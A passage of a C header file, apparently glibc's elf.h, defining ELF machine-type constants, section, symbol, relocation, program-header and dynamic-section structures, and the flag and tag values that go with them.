bit mc */ #define EM_68HC16 69 /* Motorola MC68HC16 microcontroller */ #define EM_68HC11 70 /* Motorola MC68HC11 microcontroller */ #define EM_68HC08 71 /* Motorola MC68HC08 microcontroller */ #define EM_68HC05 72 /* Motorola MC68HC05 microcontroller */ #define EM_SVX 73 /* Silicon Graphics SVx */ #define EM_ST19 74 /* STMicroelectronics ST19 8 bit mc */ #define EM_VAX 75 /* Digital VAX */ #define EM_CRIS 76 /* Axis Communications 32-bit emb.proc */ #define EM_JAVELIN 77 /* Infineon Technologies 32-bit emb.proc */ #define EM_FIREPATH 78 /* Element 14 64-bit DSP Processor */ #define EM_ZSP 79 /* LSI Logic 16-bit DSP Processor */ #define EM_MMIX 80 /* Donald Knuth's educational 64-bit proc */ #define EM_HUANY 81 /* Harvard University machine-independent object files */ #define EM_PRISM 82 /* SiTera Prism */ #define EM_AVR 83 /* Atmel AVR 8-bit microcontroller */ #define EM_FR30 84 /* Fujitsu FR30 */ #define EM_D10V 85 /* Mitsubishi D10V */ #define EM_D30V 86 /* Mitsubishi D30V */ #define EM_V850 87 /* NEC v850 */ #define EM_M32R 88 /* Mitsubishi M32R */ #define EM_MN10300 89 /* Matsushita MN10300 */ #define EM_MN10200 90 /* Matsushita MN10200 */ #define EM_PJ 91 /* picoJava */ #define EM_OPENRISC 92 /* OpenRISC 32-bit embedded processor */ #define EM_ARC_COMPACT 93 /* ARC International ARCompact */ #define EM_XTENSA 94 /* Tensilica Xtensa Architecture */ #define EM_VIDEOCORE 95 /* Alphamosaic VideoCore */ #define EM_TMM_GPP 96 /* Thompson Multimedia General Purpose Proc */ #define EM_NS32K 97 /* National Semi. 32000 */ #define EM_TPC 98 /* Tenor Network TPC */ #define EM_SNP1K 99 /* Trebia SNP 1000 */ #define EM_ST200 100 /* STMicroelectronics ST200 */ #define EM_IP2K 101 /* Ubicom IP2xxx */ #define EM_MAX 102 /* MAX processor */ #define EM_CR 103 /* National Semi. CompactRISC */ #define EM_F2MC16 104 /* Fujitsu F2MC16 */ #define EM_MSP430 105 /* Texas Instruments msp430 */ #define EM_BLACKFIN 106 /* Analog Devices Blackfin DSP */ #define EM_SE_C33 107 /* Seiko Epson S1C33 family */ #define EM_SEP 108 /* Sharp embedded microprocessor */ #define EM_ARCA 109 /* Arca RISC */ #define EM_UNICORE 110 /* PKU-Unity & MPRC Peking Uni. mc series */ #define EM_EXCESS 111 /* eXcess configurable cpu */ #define EM_DXP 112 /* Icera Semi. Deep Execution Processor */ #define EM_ALTERA_NIOS2 113 /* Altera Nios II */ #define EM_CRX 114 /* National Semi. CompactRISC CRX */ #define EM_XGATE 115 /* Motorola XGATE */ #define EM_C166 116 /* Infineon C16x/XC16x */ #define EM_M16C 117 /* Renesas M16C */ #define EM_DSPIC30F 118 /* Microchip Technology dsPIC30F */ #define EM_CE 119 /* Freescale Communication Engine RISC */ #define EM_M32C 120 /* Renesas M32C */ /* reserved 121-130 */ #define EM_TSK3000 131 /* Altium TSK3000 */ #define EM_RS08 132 /* Freescale RS08 */ #define EM_SHARC 133 /* Analog Devices SHARC family */ #define EM_ECOG2 134 /* Cyan Technology eCOG2 */ #define EM_SCORE7 135 /* Sunplus S+core7 RISC */ #define EM_DSP24 136 /* New Japan Radio (NJR) 24-bit DSP */ #define EM_VIDEOCORE3 137 /* Broadcom VideoCore III */ #define EM_LATTICEMICO32 138 /* RISC for Lattice FPGA */ #define EM_SE_C17 139 /* Seiko Epson C17 */ #define EM_TI_C6000 140 /* Texas Instruments TMS320C6000 DSP */ #define EM_TI_C2000 141 /* Texas Instruments TMS320C2000 DSP */ #define EM_TI_C5500 142 /* Texas Instruments TMS320C55x DSP */ #define EM_TI_ARP32 143 /* Texas Instruments App. Specific RISC */ #define EM_TI_PRU 144 /* Texas Instruments Prog. Realtime Unit */ /* reserved 145-159 */ #define EM_MMDSP_PLUS 160 /* STMicroelectronics 64bit VLIW DSP */ #define EM_CYPRESS_M8C 161 /* Cypress M8C */ #define EM_R32C 162 /* Renesas R32C */ #define EM_TRIMEDIA 163 /* NXP Semi. TriMedia */ #define EM_QDSP6 164 /* QUALCOMM DSP6 */ #define EM_8051 165 /* Intel 8051 and variants */ #define EM_STXP7X 166 /* STMicroelectronics STxP7x */ #define EM_NDS32 167 /* Andes Tech. compact code emb. RISC */ #define EM_ECOG1X 168 /* Cyan Technology eCOG1X */ #define EM_MAXQ30 169 /* Dallas Semi. MAXQ30 mc */ #define EM_XIMO16 170 /* New Japan Radio (NJR) 16-bit DSP */ #define EM_MANIK 171 /* M2000 Reconfigurable RISC */ #define EM_CRAYNV2 172 /* Cray NV2 vector architecture */ #define EM_RX 173 /* Renesas RX */ #define EM_METAG 174 /* Imagination Tech. META */ #define EM_MCST_ELBRUS 175 /* MCST Elbrus */ #define EM_ECOG16 176 /* Cyan Technology eCOG16 */ #define EM_CR16 177 /* National Semi. CompactRISC CR16 */ #define EM_ETPU 178 /* Freescale Extended Time Processing Unit */ #define EM_SLE9X 179 /* Infineon Tech. SLE9X */ #define EM_L10M 180 /* Intel L10M */ #define EM_K10M 181 /* Intel K10M */ /* reserved 182 */ #define EM_AARCH64 183 /* ARM AARCH64 */ /* reserved 184 */ #define EM_AVR32 185 /* Amtel 32-bit microprocessor */ #define EM_STM8 186 /* STMicroelectronics STM8 */ #define EM_TILE64 187 /* Tileta TILE64 */ #define EM_TILEPRO 188 /* Tilera TILEPro */ #define EM_MICROBLAZE 189 /* Xilinx MicroBlaze */ #define EM_CUDA 190 /* NVIDIA CUDA */ #define EM_TILEGX 191 /* Tilera TILE-Gx */ #define EM_CLOUDSHIELD 192 /* CloudShield */ #define EM_COREA_1ST 193 /* KIPO-KAIST Core-A 1st gen. */ #define EM_COREA_2ND 194 /* KIPO-KAIST Core-A 2nd gen. */ #define EM_ARC_COMPACT2 195 /* Synopsys ARCompact V2 */ #define EM_OPEN8 196 /* Open8 RISC */ #define EM_RL78 197 /* Renesas RL78 */ #define EM_VIDEOCORE5 198 /* Broadcom VideoCore V */ #define EM_78KOR 199 /* Renesas 78KOR */ #define EM_56800EX 200 /* Freescale 56800EX DSC */ #define EM_BA1 201 /* Beyond BA1 */ #define EM_BA2 202 /* Beyond BA2 */ #define EM_XCORE 203 /* XMOS xCORE */ #define EM_MCHP_PIC 204 /* Microchip 8-bit PIC(r) */ /* reserved 205-209 */ #define EM_KM32 210 /* KM211 KM32 */ #define EM_KMX32 211 /* KM211 KMX32 */ #define EM_EMX16 212 /* KM211 KMX16 */ #define EM_EMX8 213 /* KM211 KMX8 */ #define EM_KVARC 214 /* KM211 KVARC */ #define EM_CDP 215 /* Paneve CDP */ #define EM_COGE 216 /* Cognitive Smart Memory Processor */ #define EM_COOL 217 /* Bluechip CoolEngine */ #define EM_NORC 218 /* Nanoradio Optimized RISC */ #define EM_CSR_KALIMBA 219 /* CSR Kalimba */ #define EM_Z80 220 /* Zilog Z80 */ #define EM_VISIUM 221 /* Controls and Data Services VISIUMcore */ #define EM_FT32 222 /* FTDI Chip FT32 */ #define EM_MOXIE 223 /* Moxie processor */ #define EM_AMDGPU 224 /* AMD GPU */ /* reserved 225-242 */ #define EM_RISCV 243 /* RISC-V */ #define EM_BPF 247 /* Linux BPF -- in-kernel virtual machine */ #define EM_NUM 248 /* Old spellings/synonyms. */ #define EM_ARC_A5 EM_ARC_COMPACT /* If it is necessary to assign new unofficial EM_* values, please pick large random numbers (0x8523, 0xa7f2, etc.) to minimize the chances of collision with official or non-GNU unofficial values. */ #define EM_ALPHA 0x9026 /* Legal values for e_version (version). */ #define EV_NONE 0 /* Invalid ELF version */ #define EV_CURRENT 1 /* Current version */ #define EV_NUM 2 /* Section header. */ typedef struct { Elf32_Word sh_name; /* Section name (string tbl index) */ Elf32_Word sh_type; /* Section type */ Elf32_Word sh_flags; /* Section flags */ Elf32_Addr sh_addr; /* Section virtual addr at execution */ Elf32_Off sh_offset; /* Section file offset */ Elf32_Word sh_size; /* Section size in bytes */ Elf32_Word sh_link; /* Link to another section */ Elf32_Word sh_info; /* Additional section information */ Elf32_Word sh_addralign; /* Section alignment */ Elf32_Word sh_entsize; /* Entry size if section holds table */ } Elf32_Shdr; typedef struct { Elf64_Word sh_name; /* Section name (string tbl index) */ Elf64_Word sh_type; /* Section type */ Elf64_Xword sh_flags; /* Section flags */ Elf64_Addr sh_addr; /* Section virtual addr at execution */ Elf64_Off sh_offset; /* Section file offset */ Elf64_Xword sh_size; /* Section size in bytes */ Elf64_Word sh_link; /* Link to another section */ Elf64_Word sh_info; /* Additional section information */ Elf64_Xword sh_addralign; /* Section alignment */ Elf64_Xword sh_entsize; /* Entry size if section holds table */ } Elf64_Shdr; /* Special section indices. */ #define SHN_UNDEF 0 /* Undefined section */ #define SHN_LORESERVE 0xff00 /* Start of reserved indices */ #define SHN_LOPROC 0xff00 /* Start of processor-specific */ #define SHN_BEFORE 0xff00 /* Order section before all others (Solaris). */ #define SHN_AFTER 0xff01 /* Order section after all others (Solaris). */ #define SHN_HIPROC 0xff1f /* End of processor-specific */ #define SHN_LOOS 0xff20 /* Start of OS-specific */ #define SHN_HIOS 0xff3f /* End of OS-specific */ #define SHN_ABS 0xfff1 /* Associated symbol is absolute */ #define SHN_COMMON 0xfff2 /* Associated symbol is common */ #define SHN_XINDEX 0xffff /* Index is in extra table. */ #define SHN_HIRESERVE 0xffff /* End of reserved indices */ /* Legal values for sh_type (section type). */ #define SHT_NULL 0 /* Section header table entry unused */ #define SHT_PROGBITS 1 /* Program data */ #define SHT_SYMTAB 2 /* Symbol table */ #define SHT_STRTAB 3 /* String table */ #define SHT_RELA 4 /* Relocation entries with addends */ #define SHT_HASH 5 /* Symbol hash table */ #define SHT_DYNAMIC 6 /* Dynamic linking information */ #define SHT_NOTE 7 /* Notes */ #define SHT_NOBITS 8 /* Program space with no data (bss) */ #define SHT_REL 9 /* Relocation entries, no addends */ #define SHT_SHLIB 10 /* Reserved */ #define SHT_DYNSYM 11 /* Dynamic linker symbol table */ #define SHT_INIT_ARRAY 14 /* Array of constructors */ #define SHT_FINI_ARRAY 15 /* Array of destructors */ #define SHT_PREINIT_ARRAY 16 /* Array of pre-constructors */ #define SHT_GROUP 17 /* Section group */ #define SHT_SYMTAB_SHNDX 18 /* Extended section indeces */ #define SHT_NUM 19 /* Number of defined types. */ #define SHT_LOOS 0x60000000 /* Start OS-specific. */ #define SHT_GNU_ATTRIBUTES 0x6ffffff5 /* Object attributes. */ #define SHT_GNU_HASH 0x6ffffff6 /* GNU-style hash table. */ #define SHT_GNU_LIBLIST 0x6ffffff7 /* Prelink library list */ #define SHT_CHECKSUM 0x6ffffff8 /* Checksum for DSO content. */ #define SHT_LOSUNW 0x6ffffffa /* Sun-specific low bound. */ #define SHT_SUNW_move 0x6ffffffa #define SHT_SUNW_COMDAT 0x6ffffffb #define SHT_SUNW_syminfo 0x6ffffffc #define SHT_GNU_verdef 0x6ffffffd /* Version definition section. */ #define SHT_GNU_verneed 0x6ffffffe /* Version needs section. */ #define SHT_GNU_versym 0x6fffffff /* Version symbol table. */ #define SHT_HISUNW 0x6fffffff /* Sun-specific high bound. */ #define SHT_HIOS 0x6fffffff /* End OS-specific type */ #define SHT_LOPROC 0x70000000 /* Start of processor-specific */ #define SHT_HIPROC 0x7fffffff /* End of processor-specific */ #define SHT_LOUSER 0x80000000 /* Start of application-specific */ #define SHT_HIUSER 0x8fffffff /* End of application-specific */ /* Legal values for sh_flags (section flags). */ #define SHF_WRITE (1 << 0) /* Writable */ #define SHF_ALLOC (1 << 1) /* Occupies memory during execution */ #define SHF_EXECINSTR (1 << 2) /* Executable */ #define SHF_MERGE (1 << 4) /* Might be merged */ #define SHF_STRINGS (1 << 5) /* Contains nul-terminated strings */ #define SHF_INFO_LINK (1 << 6) /* `sh_info' contains SHT index */ #define SHF_LINK_ORDER (1 << 7) /* Preserve order after combining */ #define SHF_OS_NONCONFORMING (1 << 8) /* Non-standard OS specific handling required */ #define SHF_GROUP (1 << 9) /* Section is member of a group. */ #define SHF_TLS (1 << 10) /* Section hold thread-local data. */ #define SHF_COMPRESSED (1 << 11) /* Section with compressed data. */ #define SHF_MASKOS 0x0ff00000 /* OS-specific. */ #define SHF_MASKPROC 0xf0000000 /* Processor-specific */ #define SHF_ORDERED (1 << 30) /* Special ordering requirement (Solaris). */ #define SHF_EXCLUDE (1U << 31) /* Section is excluded unless referenced or allocated (Solaris).*/ /* Section compression header. Used when SHF_COMPRESSED is set. */ typedef struct { Elf32_Word ch_type; /* Compression format. */ Elf32_Word ch_size; /* Uncompressed data size. */ Elf32_Word ch_addralign; /* Uncompressed data alignment. */ } Elf32_Chdr; typedef struct { Elf64_Word ch_type; /* Compression format. */ Elf64_Word ch_reserved; Elf64_Xword ch_size; /* Uncompressed data size. */ Elf64_Xword ch_addralign; /* Uncompressed data alignment. */ } Elf64_Chdr; /* Legal values for ch_type (compression algorithm). */ #define ELFCOMPRESS_ZLIB 1 /* ZLIB/DEFLATE algorithm. */ #define ELFCOMPRESS_LOOS 0x60000000 /* Start of OS-specific. */ #define ELFCOMPRESS_HIOS 0x6fffffff /* End of OS-specific. */ #define ELFCOMPRESS_LOPROC 0x70000000 /* Start of processor-specific. */ #define ELFCOMPRESS_HIPROC 0x7fffffff /* End of processor-specific. */ /* Section group handling. */ #define GRP_COMDAT 0x1 /* Mark group as COMDAT. */ /* Symbol table entry. */ typedef struct { Elf32_Word st_name; /* Symbol name (string tbl index) */ Elf32_Addr st_value; /* Symbol value */ Elf32_Word st_size; /* Symbol size */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility */ Elf32_Section st_shndx; /* Section index */ } Elf32_Sym; typedef struct { Elf64_Word st_name; /* Symbol name (string tbl index) */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility */ Elf64_Section st_shndx; /* Section index */ Elf64_Addr st_value; /* Symbol value */ Elf64_Xword st_size; /* Symbol size */ } Elf64_Sym; /* The syminfo section if available contains additional information about every dynamic symbol. */ typedef struct { Elf32_Half si_boundto; /* Direct bindings, symbol bound to */ Elf32_Half si_flags; /* Per symbol flags */ } Elf32_Syminfo; typedef struct { Elf64_Half si_boundto; /* Direct bindings, symbol bound to */ Elf64_Half si_flags; /* Per symbol flags */ } Elf64_Syminfo; /* Possible values for si_boundto. */ #define SYMINFO_BT_SELF 0xffff /* Symbol bound to self */ #define SYMINFO_BT_PARENT 0xfffe /* Symbol bound to parent */ #define SYMINFO_BT_LOWRESERVE 0xff00 /* Beginning of reserved entries */ /* Possible bitmasks for si_flags. */ #define SYMINFO_FLG_DIRECT 0x0001 /* Direct bound symbol */ #define SYMINFO_FLG_PASSTHRU 0x0002 /* Pass-thru symbol for translator */ #define SYMINFO_FLG_COPY 0x0004 /* Symbol is a copy-reloc */ #define SYMINFO_FLG_LAZYLOAD 0x0008 /* Symbol bound to object to be lazy loaded */ /* Syminfo version values. */ #define SYMINFO_NONE 0 #define SYMINFO_CURRENT 1 #define SYMINFO_NUM 2 /* How to extract and insert information held in the st_info field. */ #define ELF32_ST_BIND(val) (((unsigned char) (val)) >> 4) #define ELF32_ST_TYPE(val) ((val) & 0xf) #define ELF32_ST_INFO(bind, type) (((bind) << 4) + ((type) & 0xf)) /* Both Elf32_Sym and Elf64_Sym use the same one-byte st_info field. */ #define ELF64_ST_BIND(val) ELF32_ST_BIND (val) #define ELF64_ST_TYPE(val) ELF32_ST_TYPE (val) #define ELF64_ST_INFO(bind, type) ELF32_ST_INFO ((bind), (type)) /* Legal values for ST_BIND subfield of st_info (symbol binding). */ #define STB_LOCAL 0 /* Local symbol */ #define STB_GLOBAL 1 /* Global symbol */ #define STB_WEAK 2 /* Weak symbol */ #define STB_NUM 3 /* Number of defined types. */ #define STB_LOOS 10 /* Start of OS-specific */ #define STB_GNU_UNIQUE 10 /* Unique symbol. */ #define STB_HIOS 12 /* End of OS-specific */ #define STB_LOPROC 13 /* Start of processor-specific */ #define STB_HIPROC 15 /* End of processor-specific */ /* Legal values for ST_TYPE subfield of st_info (symbol type). */ #define STT_NOTYPE 0 /* Symbol type is unspecified */ #define STT_OBJECT 1 /* Symbol is a data object */ #define STT_FUNC 2 /* Symbol is a code object */ #define STT_SECTION 3 /* Symbol associated with a section */ #define STT_FILE 4 /* Symbol's name is file name */ #define STT_COMMON 5 /* Symbol is a common data object */ #define STT_TLS 6 /* Symbol is thread-local data object*/ #define STT_NUM 7 /* Number of defined types. */ #define STT_LOOS 10 /* Start of OS-specific */ #define STT_GNU_IFUNC 10 /* Symbol is indirect code object */ #define STT_HIOS 12 /* End of OS-specific */ #define STT_LOPROC 13 /* Start of processor-specific */ #define STT_HIPROC 15 /* End of processor-specific */ /* Symbol table indices are found in the hash buckets and chain table of a symbol hash table section. This special index value indicates the end of a chain, meaning no further symbols are found in that bucket. */ #define STN_UNDEF 0 /* End of a chain. */ /* How to extract and insert information held in the st_other field. */ #define ELF32_ST_VISIBILITY(o) ((o) & 0x03) /* For ELF64 the definitions are the same. */ #define ELF64_ST_VISIBILITY(o) ELF32_ST_VISIBILITY (o) /* Symbol visibility specification encoded in the st_other field. */ #define STV_DEFAULT 0 /* Default symbol visibility rules */ #define STV_INTERNAL 1 /* Processor specific hidden class */ #define STV_HIDDEN 2 /* Sym unavailable in other modules */ #define STV_PROTECTED 3 /* Not preemptible, not exported */ /* Relocation table entry without addend (in section of type SHT_REL). */ typedef struct { Elf32_Addr r_offset; /* Address */ Elf32_Word r_info; /* Relocation type and symbol index */ } Elf32_Rel; /* I have seen two different definitions of the Elf64_Rel and Elf64_Rela structures, so we'll leave them out until Novell (or whoever) gets their act together. */ /* The following, at least, is used on Sparc v9, MIPS, and Alpha. */ typedef struct { Elf64_Addr r_offset; /* Address */ Elf64_Xword r_info; /* Relocation type and symbol index */ } Elf64_Rel; /* Relocation table entry with addend (in section of type SHT_RELA). */ typedef struct { Elf32_Addr r_offset; /* Address */ Elf32_Word r_info; /* Relocation type and symbol index */ Elf32_Sword r_addend; /* Addend */ } Elf32_Rela; typedef struct { Elf64_Addr r_offset; /* Address */ Elf64_Xword r_info; /* Relocation type and symbol index */ Elf64_Sxword r_addend; /* Addend */ } Elf64_Rela; /* How to extract and insert information held in the r_info field. */ #define ELF32_R_SYM(val) ((val) >> 8) #define ELF32_R_TYPE(val) ((val) & 0xff) #define ELF32_R_INFO(sym, type) (((sym) << 8) + ((type) & 0xff)) #define ELF64_R_SYM(i) ((i) >> 32) #define ELF64_R_TYPE(i) ((i) & 0xffffffff) #define ELF64_R_INFO(sym,type) ((((Elf64_Xword) (sym)) << 32) + (type)) /* Program segment header. */ typedef struct { Elf32_Word p_type; /* Segment type */ Elf32_Off p_offset; /* Segment file offset */ Elf32_Addr p_vaddr; /* Segment virtual address */ Elf32_Addr p_paddr; /* Segment physical address */ Elf32_Word p_filesz; /* Segment size in file */ Elf32_Word p_memsz; /* Segment size in memory */ Elf32_Word p_flags; /* Segment flags */ Elf32_Word p_align; /* Segment alignment */ } Elf32_Phdr; typedef struct { Elf64_Word p_type; /* Segment type */ Elf64_Word p_flags; /* Segment flags */ Elf64_Off p_offset; /* Segment file offset */ Elf64_Addr p_vaddr; /* Segment virtual address */ Elf64_Addr p_paddr; /* Segment physical address */ Elf64_Xword p_filesz; /* Segment size in file */ Elf64_Xword p_memsz; /* Segment size in memory */ Elf64_Xword p_align; /* Segment alignment */ } Elf64_Phdr; /* Special value for e_phnum. This indicates that the real number of program headers is too large to fit into e_phnum. Instead the real value is in the field sh_info of section 0. */ #define PN_XNUM 0xffff /* Legal values for p_type (segment type). */ #define PT_NULL 0 /* Program header table entry unused */ #define PT_LOAD 1 /* Loadable program segment */ #define PT_DYNAMIC 2 /* Dynamic linking information */ #define PT_INTERP 3 /* Program interpreter */ #define PT_NOTE 4 /* Auxiliary information */ #define PT_SHLIB 5 /* Reserved */ #define PT_PHDR 6 /* Entry for header table itself */ #define PT_TLS 7 /* Thread-local storage segment */ #define PT_NUM 8 /* Number of defined types */ #define PT_LOOS 0x60000000 /* Start of OS-specific */ #define PT_GNU_EH_FRAME 0x6474e550 /* GCC .eh_frame_hdr segment */ #define PT_GNU_STACK 0x6474e551 /* Indicates stack executability */ #define PT_GNU_RELRO 0x6474e552 /* Read-only after relocation */ #define PT_LOSUNW 0x6ffffffa #define PT_SUNWBSS 0x6ffffffa /* Sun Specific segment */ #define PT_SUNWSTACK 0x6ffffffb /* Stack segment */ #define PT_HISUNW 0x6fffffff #define PT_HIOS 0x6fffffff /* End of OS-specific */ #define PT_LOPROC 0x70000000 /* Start of processor-specific */ #define PT_HIPROC 0x7fffffff /* End of processor-specific */ /* Legal values for p_flags (segment flags). */ #define PF_X (1 << 0) /* Segment is executable */ #define PF_W (1 << 1) /* Segment is writable */ #define PF_R (1 << 2) /* Segment is readable */ #define PF_MASKOS 0x0ff00000 /* OS-specific */ #define PF_MASKPROC 0xf0000000 /* Processor-specific */ /* Legal values for note segment descriptor types for core files. */ #define NT_PRSTATUS 1 /* Contains copy of prstatus struct */ #define NT_PRFPREG 2 /* Contains copy of fpregset struct. */ #define NT_FPREGSET 2 /* Contains copy of fpregset struct */ #define NT_PRPSINFO 3 /* Contains copy of prpsinfo struct */ #define NT_PRXREG 4 /* Contains copy of prxregset struct */ #define NT_TASKSTRUCT 4 /* Contains copy of task structure */ #define NT_PLATFORM 5 /* String from sysinfo(SI_PLATFORM) */ #define NT_AUXV 6 /* Contains copy of auxv array */ #define NT_GWINDOWS 7 /* Contains copy of gwindows struct */ #define NT_ASRS 8 /* Contains copy of asrset struct */ #define NT_PSTATUS 10 /* Contains copy of pstatus struct */ #define NT_PSINFO 13 /* Contains copy of psinfo struct */ #define NT_PRCRED 14 /* Contains copy of prcred struct */ #define NT_UTSNAME 15 /* Contains copy of utsname struct */ #define NT_LWPSTATUS 16 /* Contains copy of lwpstatus struct */ #define NT_LWPSINFO 17 /* Contains copy of lwpinfo struct */ #define NT_PRFPXREG 20 /* Contains copy of fprxregset struct */ #define NT_SIGINFO 0x53494749 /* Contains copy of siginfo_t, size might increase */ #define NT_FILE 0x46494c45 /* Contains information about mapped files */ #define NT_PRXFPREG 0x46e62b7f /* Contains copy of user_fxsr_struct */ #define NT_PPC_VMX 0x100 /* PowerPC Altivec/VMX registers */ #define NT_PPC_SPE 0x101 /* PowerPC SPE/EVR registers */ #define NT_PPC_VSX 0x102 /* PowerPC VSX registers */ #define NT_PPC_TAR 0x103 /* Target Address Register */ #define NT_PPC_PPR 0x104 /* Program Priority Register */ #define NT_PPC_DSCR 0x105 /* Data Stream Control Register */ #define NT_PPC_EBB 0x106 /* Event Based Branch Registers */ #define NT_PPC_PMU 0x107 /* Performance Monitor Registers */ #define NT_PPC_TM_CGPR 0x108 /* TM checkpointed GPR Registers */ #define NT_PPC_TM_CFPR 0x109 /* TM checkpointed FPR Registers */ #define NT_PPC_TM_CVMX 0x10a /* TM checkpointed VMX Registers */ #define NT_PPC_TM_CVSX 0x10b /* TM checkpointed VSX Registers */ #define NT_PPC_TM_SPR 0x10c /* TM Special Purpose Registers */ #define NT_PPC_TM_CTAR 0x10d /* TM checkpointed Target Address Register */ #define NT_PPC_TM_CPPR 0x10e /* TM checkpointed Program Priority Register */ #define NT_PPC_TM_CDSCR 0x10f /* TM checkpointed Data Stream Control Register */ #define NT_PPC_PKEY 0x110 /* Memory Protection Keys registers. */ #define NT_386_TLS 0x200 /* i386 TLS slots (struct user_desc) */ #define NT_386_IOPERM 0x201 /* x86 io permission bitmap (1=deny) */ #define NT_X86_XSTATE 0x202 /* x86 extended state using xsave */ #define NT_S390_HIGH_GPRS 0x300 /* s390 upper register halves */ #define NT_S390_TIMER 0x301 /* s390 timer register */ #define NT_S390_TODCMP 0x302 /* s390 TOD clock comparator register */ #define NT_S390_TODPREG 0x303 /* s390 TOD programmable register */ #define NT_S390_CTRS 0x304 /* s390 control registers */ #define NT_S390_PREFIX 0x305 /* s390 prefix register */ #define NT_S390_LAST_BREAK 0x306 /* s390 breaking event address */ #define NT_S390_SYSTEM_CALL 0x307 /* s390 system call restart data */ #define NT_S390_TDB 0x308 /* s390 transaction diagnostic block */ #define NT_S390_VXRS_LOW 0x309 /* s390 vector registers 0-15 upper half. */ #define NT_S390_VXRS_HIGH 0x30a /* s390 vector registers 16-31. */ #define NT_S390_GS_CB 0x30b /* s390 guarded storage registers. */ #define NT_S390_GS_BC 0x30c /* s390 guarded storage broadcast control block. */ #define NT_S390_RI_CB 0x30d /* s390 runtime instrumentation. */ #define NT_ARM_VFP 0x400 /* ARM VFP/NEON registers */ #define NT_ARM_TLS 0x401 /* ARM TLS register */ #define NT_ARM_HW_BREAK 0x402 /* ARM hardware breakpoint registers */ #define NT_ARM_HW_WATCH 0x403 /* ARM hardware watchpoint registers */ #define NT_ARM_SYSTEM_CALL 0x404 /* ARM system call number */ #define NT_ARM_SVE 0x405 /* ARM Scalable Vector Extension registers */ /* Legal values for the note segment descriptor types for object files. */ #define NT_VERSION 1 /* Contains a version string. */ /* Dynamic section entry. */ typedef struct { Elf32_Sword d_tag; /* Dynamic entry type */ union { Elf32_Word d_val; /* Integer value */ Elf32_Addr d_ptr; /* Address value */ } d_un; } Elf32_Dyn; typedef struct { Elf64_Sxword d_tag; /* Dynamic entry type */ union { Elf64_Xword d_val; /* Integer value */ Elf64_Addr d_ptr; /* Address value */ } d_un; } Elf64_Dyn; /* Legal values for d_tag (dynamic entry type). */ #define DT_NULL 0 /* Marks end of dynamic section */ #define DT_NEEDED 1 /* Name of needed library */ #define DT_PLTRELSZ 2 /* Size in bytes of PLT relocs */ #define DT_PLTGOT 3 /* Processor defined value */ #define DT_HASH 4 /* Address of symbol hash table */ #define DT_STRTAB 5 /* Address of string table */ #define DT_SYMTAB 6 /* Address of symbol table */ #define DT_RELA 7 /* Address of Rela relocs */ #define DT_RELASZ 8 /* Total size of Rela relocs */ #define DT_RELAENT 9 /* Size of one Rela reloc */ #define DT_STRSZ 10 /* Size of string table */ #define DT_SYMENT 11 /* Size of one symbol table entry */ #define DT_INIT 12 /* Address of init function */ #define DT_FINI 13 /* Address of termination function */ #define DT_SONAME 14 /* Name of shared object */ #define DT_RPATH 15 /* Library search path (deprecated) */ #define DT_SYMBOLIC 16 /* Start symbol search here */ #define DT_REL 17 /* Address of Rel relocs */ #define DT_RELSZ 18 /* Total size of Rel relocs */ #define DT_RELENT 19 /* Size of one Rel reloc */ #define DT_PLTREL 20 /* Type of reloc in PLT */ #define DT_DEBUG 21 /* For debugging; unspecified */ #define DT_TEXTREL 22 /* Reloc might modify .text */ #define DT_JMPREL 23 /* Address of PLT relocs */ #define DT_BIND_NOW 24 /* Process relocations of object */ #define DT_INIT_ARRAY 25 /* Array with addresses of init fct */ #define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */ #define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */ #define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */ #define DT_RUNPATH 29 /* Library search path */ #define DT_FLAGS 30 /* Flags for the object being loaded */ #define DT_ENCODING 32 /* Start of encoded range */ #define DT_PREINIT_ARRAY 32 /* Array with addresses of preinit fct*/ #define DT_PREINIT_ARRAYSZ 33 /* size in bytes of DT_PREINIT_ARRAY */ #define DT_SYMTAB_SHNDX 34 /* Address of SYMTAB_SHNDX section */ #define DT_NUM 35 /* Number used */ #define DT_LOOS 0x6000000d /* Start of OS-specific */ #define DT_HIOS 0x6ffff000 /* End of OS-specific */ #define DT_LOPROC 0x70000000 /* Start of processor-specific */ #define DT_HIPROC 0x7fffffff /* End of processor-specific */ #define DT_PROCNUM DT_MIPS_NUM /* Most used by any processor */ /* DT_* entries which fall between DT_VALRNGHI & DT_VALRNGLO use the Dyn.d_un.d_val field of the Elf*_Dyn structure. This follows Sun's approach. */ #define DT_VALRNGLO 0x6ffffd00 #define DT_GNU_PRELINKED 0x6ffffdf5 /* Prelinking timestamp */ #define DT_GNU_CONFLICTSZ 0x6ffffdf6 /* Size of conflict section */ #define DT_GNU_LIBLISTSZ 0x6ffffdf7 /* Size of library list */ #define DT_CHECKSUM 0x6ffffdf8 #define DT_PLTPADSZ 0x6ffffdf9 #define DT_MOVEENT 0x6ffffdfa #define DT_MOVESZ 0x6ffffdfb #define DT_FEATURE_1 0x6ffffdfc /* Feature selection (DTF_*). */ #define DT_POSFLAG_1 0x6ffffdfd /* Flags for DT_* entries, effecting the following DT_* entry. */ #define DT_SYMINSZ 0x6ffffdfe /* Size of syminfo table (in bytes) */ #define DT_SYMINENT 0x6ffffdff /* Entry size of syminfo */ #define DT_VALRNGHI 0x6ffffdff #define DT_VALTAGIDX(tag) (DT_VALRNGHI - (tag)) /* Reverse order! */ #define DT_VALNUM 12 /* DT_* entries which fall between DT_ADDRRNGHI & DT_ADDRRNGLO use the Dyn.d_un.d_ptr field of the Elf*_Dyn structure. If any adjustment is made to the ELF object after it has been built these entries will need to be adjusted. */ #define DT_ADDRRNGLO 0x6ffffe00 #define DT_GNU_HASH 0x6ffffef5 /* GNU-style hash table. */ #define DT_TLSDESC_PLT 0x6ffffef6 #define DT_TLSDESC_GOT 0x6ffffef7 #define DT_GNU_CONFLICT 0x6ffffef8 /* Start of conflict section */ #define DT_GNU_LIBLIST 0x6ffffef9 /* Library list */ #define DT_CONFIG 0x6ffffefa /* Configuration information. */ #define DT_DEPAUDIT 0x6ffffefb /* Dependency auditing. */ #define DT_AUDIT 0x6ffffefc /* Object auditing. */ #define DT_PLTPAD 0x6ffffefd /* PLT padding. */ #define DT_MOVETAB 0x6ffffefe /* Move table. */ #define DT_SYMINFO 0x6ffffeff /* Syminfo table. */ #define DT_ADDRRNGHI 0x6ffffeff 